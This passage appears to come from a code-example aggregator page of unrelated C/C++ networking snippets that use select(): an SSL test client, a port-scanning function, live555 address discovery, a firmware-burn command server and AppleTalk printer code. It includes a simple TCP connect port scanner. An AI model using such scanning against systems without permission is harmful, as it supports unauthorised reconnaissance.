    ca_cert_size = ssl_get_config(SSL_MAX_CA_CERT_CFG_OFFSET);
    ca_cert = (char **)calloc(1, sizeof(char *)*ca_cert_size);
    cert = (char **)calloc(1, sizeof(char *)*cert_size);

    while (i < argc) {
        if (strcmp(argv[i], "-connect") == 0)        {
            char *host, *ptr;

            if (i >= argc - 1) {
                print_client_options(argv[i]);
            }

            host = argv[++i];
            if ((ptr = strchr(host, ':')) == NULL) {
                print_client_options(argv[i]);
            }

            *ptr++ = 0;
            port = atoi(ptr);
            hostent = gethostbyname(host);

            if (hostent == NULL) {
                print_client_options(argv[i]);
            }

            sin_addr = *((uint32_t **)hostent->h_addr_list)[0];
        } else if (strcmp(argv[i], "-cert") == 0) {
            if (i >= argc - 1 || cert_index >= cert_size) {
                print_client_options(argv[i]);
            }

            cert[cert_index++] = argv[++i];
        } else if (strcmp(argv[i], "-key") == 0) {
            if (i >= argc - 1) {
                print_client_options(argv[i]);
            }

            private_key_file = argv[++i];
            options |= SSL_NO_DEFAULT_KEY;
        } else if (strcmp(argv[i], "-CAfile") == 0) {
            if (i >= argc - 1 || ca_cert_index >= ca_cert_size) {
                print_client_options(argv[i]);
            }

            ca_cert[ca_cert_index++] = argv[++i];
        } else if (strcmp(argv[i], "-verify") == 0) {
            options &= ~SSL_SERVER_VERIFY_LATER;
        } else if (strcmp(argv[i], "-reconnect") == 0) {
            reconnect = 4;
        } else if (strcmp(argv[i], "-quiet") == 0) {
            quiet = 1;
            options &= ~SSL_DISPLAY_CERTS;
        } else if (strcmp(argv[i], "-pass") == 0) {
            if (i >= argc - 1) {
                print_client_options(argv[i]);
            }

            password = argv[++i];
        }
#ifdef CONFIG_SSL_FULL_MODE
        else if (strcmp(argv[i], "-debug") == 0)  {
            options |= SSL_DISPLAY_BYTES;
        } else if (strcmp(argv[i], "-state") == 0)  {
            options |= SSL_DISPLAY_STATES;
        } else if (strcmp(argv[i], "-show-rsa") == 0) {
            options |= SSL_DISPLAY_RSA;
        }
#endif
        else  {
            /* don't know what this is */
            print_client_options(argv[i]);
        }

        i++;
    }

    if ((ssl_ctx = ssl_ctx_new(options, SSL_DEFAULT_CLNT_SESS)) == NULL) {
        fprintf(stderr, "Error: Client context is invalid\n");
        exit(1);
    }

    if (private_key_file)  {
        int obj_type = SSL_OBJ_RSA_KEY;

        /* auto-detect the key type from the file extension */
        if (strstr(private_key_file, ".p8")) {
            obj_type = SSL_OBJ_PKCS8;
        } else if (strstr(private_key_file, ".p12")) {
            obj_type = SSL_OBJ_PKCS12;
        }

        if (ssl_obj_load(ssl_ctx, obj_type, private_key_file, password))  {
            fprintf(stderr, "Error: Private key '%s' is undefined.\n",
                    private_key_file);
            exit(1);
        }
    }

    for (i = 0; i < cert_index; i++) {
        if (ssl_obj_load(ssl_ctx, SSL_OBJ_X509_CERT, cert[i], NULL)) {
            printf("Certificate '%s' is undefined.\n", cert[i]);
            exit(1);
        }
    }
    for (i = 0; i < ca_cert_index; i++) {
        if (ssl_obj_load(ssl_ctx, SSL_OBJ_X509_CACERT, ca_cert[i], NULL)) {
            printf("Certificate '%s' is undefined.\n", ca_cert[i]);
            exit(1);
        }
    }


    free(cert);
    free(ca_cert);

    /*************************************************************************
     * This is where the interesting stuff happens. Up until now we've
     * just been setting up sockets etc. Now we do the SSL handshake.
     *************************************************************************/
    client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(port);
    client_addr.sin_addr.s_addr = sin_addr;

    if (connect(client_fd, (struct sockaddr *)&client_addr,
                sizeof(client_addr)) < 0) {
        perror("connect");
        exit(1);
    }

    if (!quiet) {
        printf("CONNECTED\n");
        TTY_FLUSH();
    }

    /* Try session resumption? */
    if (reconnect) {
        while (reconnect--) {
            ssl = ssl_client_new(ssl_ctx, client_fd, session_id,
                                 sizeof(session_id));
            if ((res = ssl_handshake_status(ssl)) != SSL_OK) {
                if (!quiet) {
                    ssl_display_error(res);
                }

                ssl_free(ssl);
                exit(1);
            }

            display_session_id(ssl);
            memcpy(session_id, ssl_get_session_id(ssl), SSL_SESSION_ID_SIZE);

            if (reconnect) {
                ssl_free(ssl);
                SOCKET_CLOSE(client_fd);

                client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                connect(client_fd, (struct sockaddr *)&client_addr,
                        sizeof(client_addr));
            }
        }
    } else {
        ssl = ssl_client_new(ssl_ctx, client_fd, NULL, 0);
    }

    /* check the return status */
    if ((res = ssl_handshake_status(ssl)) != SSL_OK) {
        if (!quiet) {
            ssl_display_error(res);
        }

        exit(1);
    }

    if (!quiet) {
        const char *common_name = ssl_get_cert_dn(ssl,
                                  SSL_X509_CERT_COMMON_NAME);
        if (common_name) {
            printf("Common Name:\t\t\t%s\n", common_name);
        }

        display_session_id(ssl);
        display_cipher(ssl);
    }

    for (;;) {
        uint8_t buf[1024];

        /* allow parallel reading of server and standard input */
        FD_SET(client_fd, &read_set);
#ifndef WIN32
        /* win32 doesn't like mixing up stdin and sockets */
        FD_SET(STDIN_FILENO, &read_set);

        if ((res = select(client_fd + 1, &read_set, NULL, NULL, NULL)) > 0) {
            /* read standard input? */
            if (FD_ISSET(STDIN_FILENO, &read_set))
#endif
            {
                if (fgets((char *)buf, sizeof(buf), stdin) == NULL) {
                    /* bomb out of here */
                    ssl_free(ssl);
                    break;
                } else {
                    /* small hack to check renegotiation */
                    if (buf[0] == 'R' && (buf[1] == '\n' || buf[1] == '\r')) {
                        res = ssl_renegotiate(ssl);
                    } else {
                        res = ssl_write(ssl, buf, strlen((char *)buf));
                    }
                }
            }
#ifndef WIN32
            else {  /* a socket read */
                uint8_t *read_buf;

                res = ssl_read(ssl, &read_buf);

                if (res > 0) {  /* display our interesting output */
                    int written = 0;
                    while (written < res) {
                        written += write(STDOUT_FILENO, read_buf + written,
                                         res - written);
                    }
                    TTY_FLUSH();
                }
            }
        }
#endif

        if (res < 0) {
            if (!quiet) {
                ssl_display_error(res);
            }

            break;      /* get outta here */
        }
    }

    ssl_ctx_free(ssl_ctx);
    SOCKET_CLOSE(client_fd);
#else
    print_client_options(argv[1]);
#endif
}
示例#19
0
//扫描指定ip的指定port
void do_scan(struct sockaddr_in *des_add){
	int sock_fd;
	int result;
	socklen_t len;
	struct hostent *hptr;

	//printf("%s\n",inet_ntoa(des_add->sin_addr));
	if((sock_fd = socket(AF_INET,SOCK_STREAM,0)) < 0){
		perror("error: socket\n");
		return;
	}
	//设置为非阻塞模式
	int flags = fcntl(sock_fd,F_GETFL,0);
	fcntl(sock_fd,F_SETFL,flags|O_NONBLOCK);
	//建立连接
	len = sizeof(*des_add);
	result = connect(sock_fd,(struct sockaddr*)des_add,len);
	if(result && errno != EINPROGRESS){
		close(sock_fd);
		return;
	}
	if(result == 0){
		//connect连接成功,恢复套接字阻塞状态
		fcntl(sock_fd,F_SETFL,flags);
		hptr = gethostbyaddr(&(des_add->sin_addr),4,AF_INET);
		printf("ip:%s\thostname:%s\tport:%d\n",inet_ntoa(des_add->sin_addr),hptr->h_name,ntohs(des_add->sin_port));
		close(sock_fd);
		return;
	}
	//连接失败,设置等待或者超时
	fd_set rd,wd,ed;
	FD_ZERO(&rd);
	FD_SET(sock_fd,&rd);
	wd = rd;
	ed = rd;
	int maxfd = sock_fd;
	struct timeval tv = {0,3000};
	int ret = select(maxfd+1,&rd,&wd,&ed,&tv);
	int val;
	if(ret <= 0){
		close(sock_fd);
		return;
	}else{
		if(!FD_ISSET(sock_fd,&rd)&&!FD_ISSET(sock_fd,&wd)){
			close(sock_fd);
			return;
		}
		if(getsockopt(sock_fd,SOL_SOCKET,SO_ERROR,&val,&len)<0){
			close(sock_fd);
			return;
		}
		if(val!=0){
			close(sock_fd);
			return;
		}
		//connect正确返回,恢复阻塞状态
		fcntl(sock_fd,F_SETFL,flags);
		hptr = gethostbyaddr(&(des_add->sin_addr),4,AF_INET);
		if(hptr == NULL)	printf("\t\t\t\t\tip:%s\thostname:unkown\tport:%d\n",inet_ntoa(des_add->sin_addr),ntohs(des_add->sin_port));
		else	printf("\t\t\t\t\tip:%s\thostname:%s\tport:%d\n",inet_ntoa(des_add->sin_addr),hptr->h_name,ntohs(des_add->sin_port));
		close(sock_fd);
	}
}
netAddressBits ourIPAddress(UsageEnvironment& env) {
  static netAddressBits ourAddress = 0;
  int sock = -1;
  struct in_addr testAddr;

  if (ReceivingInterfaceAddr != INADDR_ANY) {
    // Hack: If we were told to receive on a specific interface address, then 
    // define this to be our ip address:
    ourAddress = ReceivingInterfaceAddr;
  }

  if (ourAddress == 0) {
    // We need to find our source address
    struct sockaddr_in fromAddr;
    fromAddr.sin_addr.s_addr = 0;

    // Get our address by sending a (0-TTL) multicast packet,
    // receiving it, and looking at the source address used.
    // (This is kinda bogus, but it provides the best guarantee
    // that other nodes will think our address is the same as we do.)
    do {
      loopbackWorks = 0; // until we learn otherwise

      testAddr.s_addr = our_inet_addr("228.67.43.91"); // arbitrary
      Port testPort(15947); // ditto

      sock = setupDatagramSocket(env, testPort);
      if (sock < 0) break;

      if (!socketJoinGroup(env, sock, testAddr.s_addr)) break;

      unsigned char testString[] = "hostIdTest";
      unsigned testStringLength = sizeof testString;

      if (!writeSocket(env, sock, testAddr, testPort, 0,
		       testString, testStringLength)) break;

      // Block until the socket is readable (with a 5-second timeout):
      fd_set rd_set;
      FD_ZERO(&rd_set);
      FD_SET((unsigned)sock, &rd_set);
      const unsigned numFds = sock+1;
      struct timeval timeout;
      timeout.tv_sec = 5;
      timeout.tv_usec = 0;
      int result = select(numFds, &rd_set, NULL, NULL, &timeout);
      if (result <= 0) break;

      unsigned char readBuffer[20];
      int bytesRead = readSocket(env, sock,
				 readBuffer, sizeof readBuffer,
				 fromAddr);
      if (bytesRead != (int)testStringLength
	  || strncmp((char*)readBuffer, (char*)testString, testStringLength) != 0) {
	break;
      }

      // We use this packet's source address, if it's good:
      loopbackWorks = !badAddressForUs(fromAddr.sin_addr.s_addr);
    } while (0);

    if (sock >= 0) {
      socketLeaveGroup(env, sock, testAddr.s_addr);
      closeSocket(sock);
    }

    if (!loopbackWorks) do {
      // We couldn't find our address using multicast loopback,
      // so try instead to look it up directly - by first getting our host name, and then resolving this host name
      char hostname[100];
      hostname[0] = '\0';
      int result = gethostname(hostname, sizeof hostname);
      if (result != 0 || hostname[0] == '\0') {
	env.setResultErrMsg("initial gethostname() failed");
	break;
      }

      // Try to resolve "hostname" to an IP address:
      NetAddressList addresses(hostname);
      NetAddressList::Iterator iter(addresses);
      NetAddress const* address;

      // Take the first address that's not bad:
      netAddressBits addr = 0;
      while ((address = iter.nextAddress()) != NULL) {
	netAddressBits a = *(netAddressBits*)(address->data());
	if (!badAddressForUs(a)) {
	  addr = a;
	  break;
	}
      }

      // Assign the address that we found to "fromAddr" (as if the 'loopback' method had worked), to simplify the code below: 
      fromAddr.sin_addr.s_addr = addr;
    } while (0);

    // Make sure we have a good address:
    netAddressBits from = fromAddr.sin_addr.s_addr;
    if (badAddressForUs(from)) {
      char tmp[100];
      sprintf(tmp, "This computer has an invalid IP address: %s", AddressString(from).val());
      env.setResultMsg(tmp);
      from = 0;
    }

    ourAddress = from;

    // Use our newly-discovered IP address, and the current time,
    // to initialize the random number generator's seed:
    struct timeval timeNow;
    gettimeofday(&timeNow, NULL);
    unsigned seed = ourAddress^timeNow.tv_sec^timeNow.tv_usec;
    our_srandom(seed);
  }
  return ourAddress;
}
示例#21
0
void main()
{
	int 				ret;
	int					i, j, k, maxfd, listenfd, connfd;
	// int 				sockfd[LISTENQ];
	int 				reuse = 1;
	fd_set				rset, wset;
	char				buf[WAN_MSG_MAX_SIZE];
	char 				cmd_buf[WAN_MSG_MAX_SIZE];
	char 				tmp_buf[WAN_MSG_MAX_SIZE];
	char * 				tmp_buf_pointer;
	char * 				endptr;
	char  				opt[64];
	socklen_t			clilen;
	struct sockaddr_in	cliaddr, servaddr;
	uint16_t 			csum;
	uint16_t 			msg_size_net;
	uint16_t 			msg_size;

	signal(SIGPIPE, sig_pipe_handler);
	listenfd = socket(AF_INET, SOCK_STREAM, 0);
	if(listenfd < 0) {
		perror("socket");
		exit(1);
	}
	if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)) < 0) {
		perror("setsockopet");
		exit(1);
	}

	bzero(&servaddr, sizeof(servaddr));
	servaddr.sin_family      = AF_INET;
	servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	servaddr.sin_port        = htons(WAN_PORT);

	if(bind(listenfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) {
		perror("bind");
		exit(1);
	}
	listen(listenfd, LISTENQ);
	maxfd = listenfd;			/* initialize */
	do {
		clilen = sizeof(cliaddr);
		connfd = accept(listenfd, (struct sockaddr *)&cliaddr, &clilen);

		socket_alive = 1;
		while(socket_alive) {
			FD_ZERO(&rset);
			FD_SET(connfd, &rset);
			maxfd = connfd;
			switch(select(maxfd+1, &rset, NULL, NULL, NULL)) {
				case -1: 
					socket_alive = 0;
					close(connfd);
					break;
				case 0:
					break;
				default:
#ifdef WANP
					if(recv(connfd, buf, WAN_HEADER_SIZE, MSG_WAITALL) != WAN_HEADER_SIZE) {
						perror("recv");
						close(connfd);
						break;
					}
					Wan_GetSize(buf, &msg_size);
					if(recv(connfd, buf + WAN_HEADER_SIZE, msg_size - WAN_HEADER_SIZE, MSG_WAITALL) != msg_size - WAN_HEADER_SIZE) {
						perror("recv");
						close(connfd);
						break;
					}
					if(Wan_CheckMsg(buf, msg_size) < 0) {
						perror("wan message check error");
						close(connfd);
						break;
					}
#else
					for(i = 0; i < WAN_MSG_MAX_SIZE; i++) {
						if(recv(connfd, buf+i, 1, 0) != 1) {
							perror("recv");
							close(connfd);
							break;
						}
						if('\n' == buf[i]) {
							msg_size = i + 1;
							break;
						}
					}
#endif
					buf[msg_size] = '\0';
					GetCmd(buf, cmd_buf);
					// printf("cmd: %s\n", cmd_buf);
					// printf("cmd(buf): %s\n", buf);
					*tmp_buf = '\0';
					if(strcmp(cmd_buf, Hello.Name) == 0) {
						ret = DoHello(buf);
						if(0 == ret) {
							RespOK(buf, cmd_buf, NULL);
						} else if(HELP_HELLO == ret) {
							tmp_buf_pointer = tmp_buf;
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "hello: \r\n");
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "	a test message to confirm connection.\r\n");
							RespOK(buf, cmd_buf, tmp_buf);
						} else {
							RespErr(buf, cmd_buf, "hello err");
						}
					} else if(strcmp(cmd_buf, Burn.Name) == 0) {
						ret = DoBurn(buf, kernel_name, addr, kernel_size, crc);
						if(ret == 0) {
							if('0' == addr[0] && ('x' == addr[1] || 'X' == addr[1])) {
								i_addr = strtol((const char *)addr, &endptr, 16);
							} else {
								i_addr = atoi((const char *)addr);
							}
							if('0' == kernel_size[0] && ('x' == kernel_size[1] || 'X' == kernel_size[1])) {
								i_kernel_size = strtol((const char *)kernel_size, &endptr, 16);
							} else {
								i_kernel_size = atoi((const char *)kernel_size);
							}
							if('0' == crc[0] && ('x' == crc[1] || 'X' == crc[1])) {
								i_crc = strtol((const char *)crc, &endptr, 16);
							} else {
								i_crc = atoi((const char *)crc);
							}
							// i_addr = atoi(addr);
							// i_kernel_size = atoi(kernel_size);
							// i_crc = atoi(crc);
							// printf("i_addr: %d\n", i_addr);
							// printf("i_kernel_size: %d\n", i_kernel_size);
							// printf("i_crc: %d\n", i_crc);
							printf("u_addr:u_kernel_size:u_crc=%08x:%08x:%08x\r\n", i_addr, i_kernel_size, i_crc);
							RespOK(buf, cmd_buf, NULL);
						} else if(HELP_BURN == ret) {
							tmp_buf_pointer = tmp_buf;
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "burn: \r\n");
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "	burn kernel to specific address.\r\n");
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "	-f\r\n");
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "	-a\r\n");
							RespOK(buf, cmd_buf, tmp_buf);
						} else {
							RespErr(buf, cmd_buf, "paramter err");
						}
					} else if(strcmp(cmd_buf, Startos.Name) == 0) {
						ret = DoStartos(buf);
						if(0 == ret) {
							RespOK(buf, cmd_buf, NULL);
						} else if(HELP_STARTOS == ret) {
							tmp_buf_pointer = tmp_buf;
							// j = sprintf(tmp_buf_pointer, "startos: \r\n");
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "startos: \r\n");
							// tmp_buf_pointer += j;
							tmp_buf_pointer += sprintf(tmp_buf_pointer, "	launch the OS kernel.\r\n");
							*tmp_buf_pointer = '\0';
							RespOK(buf, cmd_buf, tmp_buf);
						} else {
							RespErr(buf, cmd_buf, "startos err");
						}
					} else {
						RespErr(buf, cmd_buf, "Command not found");
					}
					if((msg_size = SealPacket(buf)) < 0) {
						printf("SealPacket error\r\n");
						break;
					}

					printf("send: ");
					for(i = 0; i < msg_size; i++) {
						printf("%c", buf[i]);
					}
					printf("###\n");
					if(send(connfd, buf, msg_size, 0) < 0) {
						perror("send");
						close(connfd);
						break;
					}
					printf("\n");
			}
		}

	}while(1);
}
示例#22
0
static int send_file( int fd, ATP atp, int lastfile)
{
    struct timeval	stv, tv;
    struct sockaddr_at	ssat;
    struct atp_block	atpb;
    fd_set		fds;
    int			fiovcnt = 0, eof = 0, senteof = 0, to = 0;
    int			cc, i;
    unsigned short	netseq;

    if ( gettimeofday( &stv, NULL ) < 0 ) {
	perror( "gettimeofday" );
	exit( 2 );
    }

    /*
     * Ask for more data.
     */
    cbuf[ 0 ] = connid;
    cbuf[ 1 ] = PAP_READ;
    if ( ++seq == 0 ) seq = 1;
    netseq = htons( seq );
    memcpy( cbuf +  2, &netseq, sizeof( netseq ));
    atpb.atp_saddr = &sat;
    atpb.atp_sreqdata = cbuf;
    atpb.atp_sreqdlen = 4;		/* bytes in SendData request */
    atpb.atp_sreqto = 15;		/* retry timer */
    atpb.atp_sreqtries = -1;		/* retry count */
    if ( atp_sreq( atp, &atpb, oquantum, ATP_XO ) < 0 ) {
	perror( "atp_sreq" );
	exit( 1 );
    }

	if(debug){ printf( "READ %d >\n", seq ), fflush( stdout );}

    for (;;) {
	if ( gettimeofday( &tv, NULL ) < 0 ) {
	    perror( "gettimeofday" );
	    exit( 2 );
	}

	if (( tv.tv_sec - stv.tv_sec ) >= 60 ) {
	    stv = tv;

	    /*
	     * Send a tickle.
	     */
	    cbuf[ 0 ] = connid;
	    cbuf[ 1 ] = PAP_TICKLE;
	    cbuf[ 2 ] = cbuf[ 3 ] = 0;
	    atpb.atp_saddr = &sat;
	    atpb.atp_sreqdata = cbuf;
	    atpb.atp_sreqdlen = 4;		/* bytes in Tickle request */
	    atpb.atp_sreqto = 0;		/* retry timer */
	    atpb.atp_sreqtries = 1;		/* retry count */
	    if ( atp_sreq( satp, &atpb, 0, 0 ) < 0 ) {
		perror( "atp_sreq" );
		exit( 1 );
	    }

	if(debug){ printf( "TICKLE >\n" ), fflush( stdout );}
	}

	tv.tv_sec = stv.tv_sec + 60 - tv.tv_sec;
	tv.tv_usec = 0;

	FD_ZERO( &fds );
	if ( !waitforprinter && !eof && fiovcnt == 0 ) {
	    FD_SET( fd, &fds );
	}
	FD_SET( atp_fileno( atp ), &fds );

	if (( cc = select( FD_SETSIZE, &fds, NULL, NULL, &tv )) < 0 ) {
	    perror( "select" );
	    exit( 2 );
	}

	/*
	 * A timeout has occured. Keep track of it.
	 */
	if ( cc == 0 ) {
	    if ( to++ > 2 ) {
		fprintf( stderr, "Connection timed out.\n" );
		exit( 1 );
	    }
	    continue;
	}

	/*
	 * Read data.
	 */
	if ( !fiovcnt && FD_ISSET( fd, &fds )) {
	    for ( i = 0; i < quantum; i++ ) {
		rfiov[ i ].iov_len = PAP_MAXDATA;
	    }
	    if (( cc = readv( fd, rfiov, quantum )) < 0 ) {
		perror( "readv" );
		exit( 2 );
	    }
	    if ( cc == 0 ) {
		eof = 1;
	    }
	    fiovcnt = cc / PAP_MAXDATA + ( cc % PAP_MAXDATA > 0 );
	    for ( i = 0; cc > 0; i++ ) {
		rfiov[ i ].iov_len = ( cc > PAP_MAXDATA ) ? PAP_MAXDATA : cc;
		cc -= ( cc > PAP_MAXDATA ) ? PAP_MAXDATA : cc;
	    }
	}

	if ( FD_ISSET( atp_fileno( atp ), &fds )) {
	    ssat = sat;
	    ssat.sat_port = ATADDR_ANYPORT;
	    switch( atp_rsel( atp, &ssat, ATP_TRESP | ATP_TREQ )) {
	    case ATP_TREQ :
		atpb.atp_saddr = &ssat;
		atpb.atp_rreqdata = cbuf;
		atpb.atp_rreqdlen = sizeof( cbuf );
		if ( atp_rreq( atp, &atpb ) < 0 ) {
		    perror( "atp_rreq" );
		    exit( 1 );
		}

		if ( (unsigned char)cbuf[ 0 ] != connid ) {
		    break;
		}

		/* reset timeout counter for all valid requests */
		to = 0;

		switch ( cbuf[ 1 ] ) {
		case PAP_READ :
		    memcpy( cbuf +  2, &netseq, sizeof( netseq ));
	if(debug){ printf( "< READ %d\n", ntohs( netseq )), fflush( stdout );}
#ifdef notdef
		    if ( netseq != 0 ) {
			if ( rseq != ntohs( netseq )) {
	if(debug){ printf( "| DUP %d\n", rseq ), fflush( stdout );}
			    break;
			}
			if ( rseq++ == 0xffff ) rseq = 1;
		    }
#endif /* notdef */

		    data = 1;
		    port = ssat.sat_port;
		    break;

		case PAP_CLOSE :

	if(debug){ printf( "< CLOSE\n" ), fflush( stdout );}

		    /*
		     * Respond to the close request, and fail.
		     */
		    sniov[ 0 ].iov_len = 4;
		    ((char *)sniov[ 0 ].iov_base)[ 0 ] = connid;
		    ((char *)sniov[ 0 ].iov_base)[ 1 ] = PAP_CLOSEREPLY;
		    ((char *)sniov[ 0 ].iov_base)[ 2 ] =
			    ((char *)sniov[ 0 ].iov_base)[ 3 ] = 0;
		    atpb.atp_sresiov = sniov;
		    atpb.atp_sresiovcnt = 1;
		    if ( atp_sresp( atp, &atpb ) < 0 ) {
			perror( "atp_sresp" );
			exit( 1 );
		    }

	if(debug){ printf( "CLOSEREPLY >\n" ), fflush( stdout );}

		    fprintf( stderr, "Connection closed by foreign host.\n" );
		    exit( 1 );

		case PAP_TICKLE :

	if(debug){ printf( "< TICKLE\n" ), fflush( stdout );}

		    break;
		default :
		    fprintf( stderr, "Bad PAP request!\n" );
		    exit( 1 );
		}
		break;

	    case ATP_TRESP :
		/* reset timeout counter for all valid requests */
		to = 0;

		atpb.atp_saddr = &ssat;
		for ( i = 0; i < oquantum; i++ ) {
		    rniov[ i ].iov_len = PAP_MAXDATA + 4;
		}
		atpb.atp_rresiov = rniov;
		atpb.atp_rresiovcnt = oquantum;
		if ( atp_rresp( atp, &atpb ) < 0 ) {
		    perror( "atp_rresp" );
		    exit( 1 );
		}

#ifndef ZEROCONNID
		/*
		 * The HP LJIIISI w/ BridgePort LocalTalk card sends
		 * zero instead of the connid.
		 */
		if ( ((unsigned char *)rniov[ 0 ].iov_base)[ 0 ] != connid ) {
		    fprintf( stderr, "Bad data response!\n" );
		    exit( 1 );
		}
#endif /* ZEROCONNID */
		if ( ((char *)rniov[ 0 ].iov_base)[ 1 ] != PAP_DATA ) {
		    fprintf( stderr, "Bad data response!\n" );
		    exit( 1 );
		}

		for ( cc = 0, i = 0; i < atpb.atp_rresiovcnt; i++ ) {
		    sfiov[ i ].iov_len = rniov[ i ].iov_len - 4;
		    cc += sfiov[ i ].iov_len;
		}
		if ( cc && writev( 1, sfiov, atpb.atp_rresiovcnt ) < cc ) {
		    perror( "writev" );
		    exit( 2 );
		}

		/* eof */
		if ( ((char *)rniov[ 0 ].iov_base)[ 2 ] ) {

	if(debug){ printf( "< DATA (eof)\n" ), fflush( stdout );}

		    return( 0 );
		}

	if(debug){ printf( "< DATA\n" ), fflush( stdout );}


		/*
		 * Ask for more data.
		 */
		cbuf[ 0 ] = connid;
		cbuf[ 1 ] = PAP_READ;
		if ( ++seq == 0 ) seq = 1;
		netseq = htons( seq );
		memcpy( cbuf +  2, &netseq, sizeof( netseq ));
		atpb.atp_saddr = &sat;
		atpb.atp_sreqdata = cbuf;
		atpb.atp_sreqdlen = 4;		/* bytes in SendData request */
		atpb.atp_sreqto = 15;		/* retry timer */
		atpb.atp_sreqtries = -1;	/* retry count */
		if ( atp_sreq( atp, &atpb, oquantum, ATP_XO ) < 0 ) {
		    perror( "atp_sreq" );
		    exit( 1 );
		}

	if(debug){ printf( "READ %d >\n", seq ), fflush( stdout );}

		break;

	    case 0:

	if(debug){ printf( "| RETRANS\n" ), fflush( stdout );}

		break;

	    default:
		perror( "atp_rsel" );
		exit( 1 );
	    }
	}

	/*
	 * Send whatever is pending.
	 */
	if ( !waitforprinter && !senteof && data && ( fiovcnt || eof )) {
	    ssat.sat_port = port;
	    atpb.atp_saddr = &ssat;
	    if ( fiovcnt ) {
		for ( i = 0; i < fiovcnt; i++ ) {
		    sniov[ i ].iov_len = rfiov[ i ].iov_len + 4;
		    ((char *)sniov[ i ].iov_base)[ 0 ] = connid;
		    ((char *)sniov[ i ].iov_base)[ 1 ] = PAP_DATA;
		    senteof = ((char *)sniov[ i ].iov_base)[ 2 ] = eof;
		    ((char *)sniov[ i ].iov_base)[ 3 ] = 0;
		}
	    } else {
		sniov[ 0 ].iov_len = 4;
		((char *)sniov[ 0 ].iov_base)[ 0 ] = connid;
		((char *)sniov[ 0 ].iov_base)[ 1 ] = PAP_DATA;
		senteof = ((char *)sniov[ 0 ].iov_base)[ 2 ] = eof;
		((char *)sniov[ 0 ].iov_base)[ 3 ] = 0;
	    }
	    atpb.atp_sresiov = sniov;
	    atpb.atp_sresiovcnt = fiovcnt ? fiovcnt : 1;
	    if ( atp_sresp( atp, &atpb ) < 0 ) {
		perror( "atp_sresp" );
		exit( 1 );
	    }
	    data = fiovcnt = 0;

	if(debug){ printf( "DATA %s\n", eof ? "(eof) >" : ">" ), fflush( stdout );}

	    /*
	     * The Apple LaserWriter IIf, the HP LWIIISi, and IV, don't
	     * seem to send us an EOF on large jobs.  To work around
	     * this heinous protocol violation, we won't wait for their
	     * EOF before closing.
	     */
	    if ( eof && noeof && lastfile ) {
		return( 0 );
	    }
	} else {
	    /*
	     * If we can't send data right now, go ahead and get the
	     * status. This is cool, because we get here reliably
	     * if there is a problem.
	     */
	    cbuf[ 0 ] = 0;
	    cbuf[ 1 ] = PAP_SENDSTATUS;
	    cbuf[ 2 ] = cbuf[ 3 ] = 0;
	    atpb.atp_saddr = &nn.nn_sat;
	    atpb.atp_sreqdata = cbuf;
	    atpb.atp_sreqdlen = 4;	/* bytes in SendStatus request */
	    atpb.atp_sreqto = 2;		/* retry timer */
	    atpb.atp_sreqtries = 5;		/* retry count */
	    if ( atp_sreq( satp, &atpb, 1, 0 ) < 0 ) {
		perror( "atp_sreq" );
		exit( 1 );
	    }

	if(debug){ printf( "SENDSTATUS >\n" ), fflush( stdout );}

	    atpb.atp_saddr = &nn.nn_sat;
	    rniov[ 0 ].iov_len = PAP_MAXDATA + 4;
	    atpb.atp_rresiov = rniov;
	    atpb.atp_rresiovcnt = 1;
	    if ( atp_rresp( satp, &atpb ) < 0 ) {
		perror( "atp_rresp" );
		continue;
	    }

#ifndef NONZEROSTATUS
	    /*
	     * The stinking LaserWriter IINTX puts crap in this
	     * field.
	     */
	    if ( ((char *)rniov[ 0 ].iov_base)[ 0 ] != 0 ) {
		fprintf( stderr, "Bad status response!\n" );
		exit( 1 );
	    }
#endif /* NONZEROSTATUS */

	    if ( ((char *)rniov[ 0 ].iov_base)[ 1 ] != PAP_STATUS ||
		    atpb.atp_rresiovcnt != 1 ) {
		fprintf( stderr, "Bad status response!\n" );
		exit( 1 );
	    }

	if(debug){ printf( "< STATUS\n" ), fflush( stdout );}

#ifdef F****D
	    if ( waitforprinter ) {
		char	st_buf[ 1024 ];	/* XXX too big */

		memcpy( st_buf, (char *) rniov[ 0 ].iov_base + 9, 
			((char *)rniov[ 0 ].iov_base)[ 8 ] );
		st_buf[ (int) ((char *)rniov[ 0 ].iov_base)[ 8 ]] = '\0';
		if ( strstr( st_buf, "waiting" ) != NULL ) {
		    waitforprinter = 0;
		}
	    }
#endif /* F****D */

	    updatestatus( (char *) rniov[ 0 ].iov_base + 9,
		    ((char *)rniov[ 0 ].iov_base)[ 8 ] );
	}
    }
}
示例#23
0
static ssize_t recv_buffer(int fd, int fds[3])
{
  struct iovec iov = { .iov_base = buffer, .iov_len = sizeof(buffer) };
  struct msghdr msg = {
    .msg_iov = &iov, .msg_iovlen = 1,
    .msg_controllen = CMSG_SPACE(3 * sizeof(int)),
  };
  msg.msg_control = alloca(msg.msg_controllen);
  memset(msg.msg_control, 0, msg.msg_controllen);

  ssize_t recvd;
  NO_EINTR(recvd, recvmsg(fd, &msg, 0));
  if (recvd == -1)
  {
    perror("recvmsg");
    return -1;
  }

  if (recvd < 4)
  {
    ssize_t recvd_;
    do {
      NO_EINTR(recvd_, recv(fd, buffer + recvd, sizeof(buffer) - recvd, 0));
      if (recvd_ > 0)
        recvd += recvd_;
    } while (recvd_ > 0 && recvd < 4);
  }

  size_t target = -1;

  if (recvd > 4)
  {
    target =
      unbyte(buffer[0],0) | unbyte(buffer[1],1) |
      unbyte(buffer[2],2) | unbyte(buffer[3],3);

    if (recvd < target)
    {
      ssize_t recvd_;
      do {
        NO_EINTR(recvd_, recv(fd, buffer + recvd, sizeof(buffer) - recvd, 0));
        if (recvd_ > 0)
          recvd += recvd_;
      } while (recvd_ > 0 && recvd < target);
    }
  }

  struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);

